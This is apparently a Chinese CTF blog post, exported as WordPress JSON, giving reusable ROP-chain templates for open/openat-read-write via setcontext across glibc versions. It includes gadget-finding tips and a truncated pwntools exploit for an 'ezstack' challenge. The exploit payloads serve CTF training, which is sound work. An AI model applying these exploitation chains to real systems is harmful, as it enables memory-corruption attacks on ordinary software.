{"id":129,"date":"2024-06-25T02:43:56","date_gmt":"2024-06-24T18:43:56","guid":{"rendered":"http:\/\/39.104.51.85\/?p=129"},"modified":"2025-05-22T17:43:55","modified_gmt":"2025-05-22T09:43:55","slug":"%e4%b8%87%e8%83%bdorw","status":"publish","type":"post","link":"http:\/\/39.104.51.85\/index.php\/2024\/06\/25\/%e4%b8%87%e8%83%bdorw\/","title":{"rendered":"\u4e07\u80fdorw"},"content":{"rendered":"\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_69_1 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >\u5185\u5bb9<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" aria-label=\"Toggle Table of Content\"><span class=\"ez-toc-js-icon-con\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/span><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/06\/25\/%e4%b8%87%e8%83%bdorw\/#%E5%85%88%E4%B8%8A%E6%A8%A1%E7%89%88%EF%BC%88229%E4%BB%A5%E5%89%8D%EF%BC%89\" title=\"\u5148\u4e0a\u6a21\u7248\uff082.29\u4ee5\u524d\uff09\">\u5148\u4e0a\u6a21\u7248\uff082.29\u4ee5\u524d\uff09<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/06\/25\/%e4%b8%87%e8%83%bdorw\/#229%E4%BB%A5%E5%90%8E\" title=\"2.29\u4ee5\u540e\">2.29\u4ee5\u540e<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/06\/25\/%e4%b8%87%e8%83%bdorw\/#%E5%8F%82%E6%95%B0%E8%AE%B2%E8%A7%A3%EF%BC%88229%E4%B9%8B%E5%89%8D%EF%BC%8C%E5%92%8C229%E4%B9%8B%E5%90%8E%E5%A4%A7%E8%87%B4%E7%9B%B8%E5%90%8C%EF%BC%89\" title=\"\u53c2\u6570\u8bb2\u89e3\uff082.29\u4e4b\u524d\uff0c\u548c2.29\u4e4b\u540e\u5927\u81f4\u76f8\u540c\uff09\">\u53c2\u6570\u8bb2\u89e3\uff082.29\u4e4b\u524d\uff0c\u548c2.29\u4e4b\u540e\u5927\u81f4\u76f8\u540c\uff09<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/06\/25\/%e4%b8%87%e8%83%bdorw\/#%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95%EF%BC%88229%E4%BB%A5%E5%89%8D%EF%BC%89\" title=\"\u4f7f\u7528\u65b9\u6cd5\uff082.29\u4ee5\u524d\uff09\">\u4f7f\u7528\u65b9\u6cd5\uff082.29\u4ee5\u524d\uff09<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"http:\/\/39.104.51.85\/index.php\/2024\/06\/25\/%e4%b8%87%e8%83%bdorw\/#%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95%EF%BC%88229%E4%BB%A5%E5%90%8E%EF%BC%89\" title=\"\u4f7f\u7528\u65b9\u6cd5\uff082.29\u4ee5\u540e\uff09\">\u4f7f\u7528\u65b9\u6cd5\uff082.29\u4ee5\u540e\uff09<\/a><\/li><\/ul><\/nav><\/div>\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%85%88%E4%B8%8A%E6%A8%A1%E7%89%88%EF%BC%88229%E4%BB%A5%E5%89%8D%EF%BC%89\"><\/span>\u5148\u4e0a\u6a21\u7248\uff082.29\u4ee5\u524d\uff09<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>payload = p64(pop_rax) + p64(2)  # open\npayload += p64(syscall) + p64(pop_rdx_rsi)\npayload += p64(300) + p64(flagaddr)\npayload += p64(pop_rdi) + p64(3)\npayload += p64(pop_rax) + p64(0)  # read\npayload += p64(syscall) + p64(pop_r13_r14_r15)\npayload += p64(0) + p64(flagaddr)\npayload += p64(4) + p64(pop_rdi)\npayload += p64(1) + p64(pop_rax)  # write\npayload += p64(1) + p64(syscall)\npayload += p64(rsp) + p64(pop_rax)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-30.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"630\" height=\"465\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-30.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-130\"  sizes=\"(max-width: 630px) 100vw, 630px\" \/><\/div><\/figure>\n\n\n\n<p>\u5728\u66f4\u65b0\u4e00\u4e2a\u7528openat\u7684\u677f\u5b50<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>payload = p64(pop_rax) + p64(257)  # openat\npayload += p64(pop_rdx) + p64(4)\npayload += p64(syscall) + p64(pop_rdx)\npayload += p64(0x100) + p64(pop_rdi)\npayload += p64(3) + p64(pop_rax)  # read\npayload += p64(0) + p64(syscall)\npayload += p64(pop_r14_r15) + p64(2**64-100)\npayload += p64(flagaddr) + p64(pop_rdi)\npayload += p64(1) + p64(pop_rax)  # write\npayload += p64(1) + p64(syscall)\npayload += p64(rsp) + p64(pop_rax)<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"229%E4%BB%A5%E5%90%8E\"><\/span>2.29\u4ee5\u540e<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<pre class=\"wp-block-code\"><code>payload = p64(0) + p64(2)\npayload += p64(syscall) + p64(pop_r12)\npayload += p64(setcontextaddr) + p64(pop_rsi)\npayload += p64(flagaddr) + p64(pop_rdi)\npayload += p64(3) + p64(pop_rax)\npayload += p64(0) + p64(syscall)\npayload += p64(pop_r12_r13) + p64(flagaddr)\npayload += p64(4) + p64(pop_rax_rdx_rbx)\npayload += p64(1) + p64(300)\npayload += p64(0) + p64(pop_r12)\npayload += p64(rsp) + p64(pop_rax)\npayload += p64(1) + p64(pop_rdi)\npayload += p64(1) + p64(syscall)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-37.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"709\" height=\"565\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-37.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-284\"  sizes=\"(max-width: 709px) 100vw, 709px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%8F%82%E6%95%B0%E8%AE%B2%E8%A7%A3%EF%BC%88229%E4%B9%8B%E5%89%8D%EF%BC%8C%E5%92%8C229%E4%B9%8B%E5%90%8E%E5%A4%A7%E8%87%B4%E7%9B%B8%E5%90%8C%EF%BC%89\"><\/span>\u53c2\u6570\u8bb2\u89e3\uff082.29\u4e4b\u524d\uff0c\u548c2.29\u4e4b\u540e\u5927\u81f4\u76f8\u540c\uff09<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u4f7f\u7528\u524d\u8bbe\u7f6erdi\u6307\u5411text\u7684\u5f00\u5934<\/p>\n\n\n\n<p>pop\u7cfb\u5217\u4e0d\u5fc5\u591a\u8bf4\uff0c\u4e00\u822c\u800c\u8a00\u5728\u6cc4\u9732\u51falibc\u540e\u76f4\u63a5\u7528ROPgadget\u5728libc\u5e93\u91cc\u5bfb\u627e\uff0c\u91cc\u9762\u5565\u90fd\u6709<\/p>\n\n\n\n<p>syscall\u5730\u5740\u8981\u6ce8\u610f\u4f7f\u7528\u7684\u65f6\u5019\u52a0\u4e0a0x17\u7684\u504f\u79fb<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-31.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"952\" height=\"313\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-31.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-131\"  sizes=\"(max-width: 952px) 100vw, 952px\" \/><\/div><\/figure>\n\n\n\n<p>\u56e0\u4e3a\u641c\u7d22\u5230\u7684syscall\u548c\u771f\u6b63\u7684syscall\u6c47\u7f16\u6307\u4ee4\u4e0d\u540c<\/p>\n\n\n\n<p>flag\u5730\u5740\u4e00\u822c\u9009\u53d6bss\u6bb5\uff0c\u4e5f\u53ef\u4ee5\u9009\u62e9\u5806\u5757\uff08\u53ea\u8981\u5730\u5740\u5df2\u77e5\uff09<\/p>\n\n\n\n<p>rsp\u5730\u5740\u8981\u9009\u62e9rdi+0x8\u7684\u4f4d\u7f6e\uff0c\u8fd9\u5f88\u91cd\u8981\uff0c\u4e4b\u6240\u4ee5\u4e0d\u662frdi\u6307\u5411\u7684\u4f4d\u7f6e\uff0c\u662f\u56e0\u4e3a\u5728setcontext\u7684\u6e90\u7801\u4e2d\uff0c\u6709\u4e00\u53e5push\u6307\u4ee4\uff0c\u4f1a\u5bfc\u81f4\u6808\u6269\u5927\u4e00\u4e0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-32-1024x673.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"673\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-32-1024x673.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-132\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95%EF%BC%88229%E4%BB%A5%E5%89%8D%EF%BC%89\"><\/span>\u4f7f\u7528\u65b9\u6cd5\uff082.29\u4ee5\u524d\uff09<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u9996\u5148\u5728\u4e00\u5757\u53ef\u5199\u533a\u57df\u5199\u5165\u4e0a\u9762\u4ee3\u7801\uff0c\u63a5\u7740pop rdi\u4f7f\u5f97rdi\u6307\u5411\u8be5\u5730\u5740\uff0c\u968f\u540e\u8c03\u7528setcontext<\/p>\n\n\n\n<p>\u503c\u5f97\u6ce8\u610f\u7684\u662f\uff0c\u4e00\u822c\u9009\u7528setcontext+53\u7684\u5730\u5740\u4f5c\u4e3a\u8fd4\u56de\u5730\u5740\uff0c\u56e0\u4e3a\u4e0a\u9762\u7684ldmxcsr\u6307\u4ee4\u4f1a\u5bfc\u81f4\u7a0b\u5e8f\u65e0\u6cd5\u6b63\u5e38\u6267\u884c\u4e0b\u53bb<\/p>\n\n\n\n<p>\u5728\u8fd9\u6bb5payload\u91cc\uff0c\u201cflag\u201d\u5b57\u7b26\u4e32\u548cflag\u6700\u7ec8\u7684\u5199\u5165\u5730\u5740\u662f\u76f8\u540c\u7684\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u201cflag\u201d\u5b57\u7b26\u4e32\u6700\u7ec8\u4f1a\u88abflag\u8986\u76d6<\/p>\n\n\n\n<p>\u4e0d\u8fc7\u4f7f\u7528\u4e4b\u524d\u5e76\u4e0d\u9700\u8981\u7ed9flag\u548ctext\u4e4b\u95f4\u7559\u7a7a\uff0c\u56e0\u4e3a\u6267\u884c\u5230read\u7684\u65f6\u5019\uff0c\u524d\u9762\u7684\u6c47\u7f16\u6307\u4ee4\u5df2\u7ecf\u4f5c\u5e9f\u4e86\uff0c\u88ab\u8986\u76d6\u4e5f\u6ca1\u6709\u5173\u7cfb<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95%EF%BC%88229%E4%BB%A5%E5%90%8E%EF%BC%89\"><\/span>\u4f7f\u7528\u65b9\u6cd5\uff082.29\u4ee5\u540e\uff09<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u5728\u8c03\u7528setcontext\u4e4b\u524d\uff0c\u8981\u4fdd\u8bc1rdx\u6307\u5411ROP\u94fe\u8d77\u59cb\u4f4d\u7f6e\uff0c\u540c\u65f6\u5728rsp\u5bf9\u5e94\u7684\u4f4d\u7f6e\u653e\u5165\u6570\u636erdx+8\uff0c\u8fd9\u70b9\u548c2.29\u4e4b\u524d\u7684\u64cd\u4f5c\u4e00\u6837\uff0c\u53ea\u4e0d\u8fc7rdi\u53d8\u6210\u4e86rdx\uff0c\u800crdx\u901a\u5e38\u5f88\u96be\u63a7\u5236\uff0c\u6240\u4ee5\u7ecf\u5e38\u8981\u7528\u5230\u4e00\u6bb5magic gadget\u6765\u63a7\u5236<\/p>\n\n\n\n<p>\u5e38\u7528magic gadget\u5982\u4e0b\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-36-1024x23.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"23\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-36-1024x23.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-282\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u5229\u7528\u5982\u4e0b\u547d\u4ee4\u627e\u5230<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ROPgadget --binary .\/libc.so.6 --only \"mov|call\"|grep rdx<\/code><\/pre>\n\n\n\n<p>\u8be5\u547d\u4ee4\u53ef\u4ee5\u63a7\u5236rdx\u7684\u503c\u540c\u65f6\u76f4\u63a5\u8c03\u7528rdx+0x20\u4f4d\u7f6e\u7684\u51fd\u6570\uff0c\u6545\u800c\u5728\u4e0a\u8ff0payload\u4e2d\u8be5\u4f4d\u7f6e\u586b\u653e\u7684\u662fsetcontext+61\uff0c\u6545<mark style=\"background-color:rgba(0, 0, 0, 0)\" class=\"has-inline-color has-vivid-red-color\">\u4f7f\u7528\u65f6\u9700\u8981\u5c06rdi+8\u7684\u4f4d\u7f6e\u5b58\u653epayload\u7684\u8d77\u59cb\u5730\u5740<\/mark><\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u4f8b\u9898<\/h4>\n\n\n\n<p>\u6700\u540e\u9644\u4e00\u9053ezstack<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-33.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"771\" height=\"313\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/06\/image-33.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-133\"  sizes=\"(max-width: 771px) 100vw, 771px\" \/><\/div><\/figure>\n\n\n\n<p>\u7a0b\u5e8f\u5f88\u7b80\u5355\uff0c\u53ea\u6709\u4e00\u4e2agets\uff0c\u5229\u7528\u601d\u8def\u5c31\u662f\u4e0d\u65ad\u5730\u8c03\u7528csu\uff0c\u6cc4\u9732libc\u540e\u6253setcontext\uff0c\u5b8c\u6574payload\u5982\u4e0b<\/p>\n\n\n\n<p>\u5176\u4e2dseccomp\u4e2d\u6709\u4e00\u4e2aperror\u51fd\u6570\uff0c\u5176\u51fd\u6570\u539f\u578b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>void perror(const char *str);<\/code><\/pre>\n\n\n\n<p>perror\u6240\u505a\u7684\u64cd\u4f5c\u662f\uff1a\u9996\u5148\u8f93\u51fastr\u6240\u6307\u5411\u7684\u5b57\u7b26\u4e32\uff0c\u63a5\u7740\u8f93\u51fa\u5f53\u524d\u5168\u5c40\u53d8\u91cferrno\u4ee3\u8868\u7684\u9519\u8bef<\/p>\n\n\n\n<p><strong>perror\u7684\u5de5\u4f5c\u539f\u7406<\/strong>\uff1a\u5f53\u4e00\u4e2a\u7cfb\u7edf\u8c03\u7528\u6216\u5e93\u51fd\u6570\u53d1\u751f\u9519\u8bef\u65f6\uff0c\u901a\u5e38\u4f1a\u5c06<code>\u5168\u5c40\u53d8\u91cferrno<\/code>\u8bbe\u7f6e\u4e3a\u4e00\u4e2a\u7279\u5b9a\u7684\u9519\u8bef\u7801\u3002perror\u51fd\u6570\u8bfb\u53d6errno\u7684\u503c\uff0c\u5e76\u6839\u636e\u8fd9\u4e2a\u503c\u751f\u6210\u76f8\u5e94\u7684\u9519\u8bef\u63cf\u8ff0\u3002\u7136\u540e\uff0c\u5c06\u9519\u8bef\u63cf\u8ff0\u4e0e\u4f20\u5165\u7684\u5b57\u7b26\u4e32\u53c2\u6570\u62fc\u63a5\uff0c\u5e76\u8f93\u51fa\u5230\u6807\u51c6\u9519\u8bef\u6d41\u3002\uff08\u53d6\u81eaCSDN\uff1a<a href=\"https:\/\/blog.csdn.net\/weixin_49503250\/article\/details\/130393289\">\u6807\u51c6C\u5e93\u51fd\u6570\u4e4bperror()\u3001strerror()\uff0c\u4ee5\u53ca\u4ed6\u4eec\u4e4b\u95f4\u5404\u79cd\u7684\u4f18\u7f3a\u70b9\uff08\u6253\u5370\u9519\u8bef\u4fe1\u606f\uff09-CSDN\u535a\u5ba2<\/a>\uff09<\/p>\n\n\n\n<p>\u7b80\u5355\u6765\u8bf4\uff0cerrno\u5c31\u662f\u4e00\u4e2a\u8bb0\u5f55\u9519\u8bef\u7684\u53d8\u91cf\uff0c\u6bcf\u6b21\u6709\u65b0\u7684\u9519\u8bef\u5b83\u4f1a\u88ab\u5237\u65b0\uff0c\u4e0d\u8fc7\u5728\u8fd9\u4e2a\u9898\u4e2d\u4e0d\u91cd\u8981\uff0c\u6211\u4eec\u53ea\u5173\u6ce8\u4ed6\u53ef\u4ee5\u8f93\u51fastr\u6240\u6307\u5411\u7684\u5b57\u7b26\u4e32\u5373\u53ef\uff0c\u4e5f\u5c31\u662f\u53ef\u4ee5\u628a\u8fd9\u4e2a\u51fd\u6570\u5f53puts\u7528\uff0c\u6cc4\u9732libc<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:4;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#263238\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><pre class=\"shiki material-theme\" style=\"background-color: #263238\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #89DDFF; font-style: italic\">from<\/span><span style=\"color: #EEFFFF\"> pwn <\/span><span style=\"color: #89DDFF; font-style: italic\">import<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">*<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">context<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">log_level<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">debug<\/span><span style=\"color: #89DDFF\">&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">context<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">arch<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">amd64<\/span><span style=\"color: #89DDFF\">&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">p<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">process<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">.\/pwn<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">elf <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">ELF<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">.\/pwn<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">gets_got<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\">elf<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">got<\/span><span style=\"color: #89DDFF\">[<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">gets<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">perror_addr<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\">elf<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">symbols<\/span><span style=\"color: #89DDFF\">[<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">perror<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">]<\/span><\/span>\n<span class=\"line\"><span style=\"color: #546E7A; font-style: italic\">#\u5229\u7528ret2csu\u8bbe\u7f6e\u53c2\u6570\uff0c\u5148\u8c03\u7528perror\u8f93\u51fagets\u5730\u5740\u6cc4\u9732libc\uff0c\u4e4b\u540e\u76f4\u63a5onegadget<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">bssaddr<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">6010A0<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">retaddr<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">00000000004006d6<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">mainaddr<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #C792EA\">0x<\/span><span style=\"color: #F78C6C\">400962<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">payload1<\/span><span style=\"color: #89DDFF\">=(<\/span><span style=\"color: #82AAFF\">p64<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">0<\/span><span style=\"color: 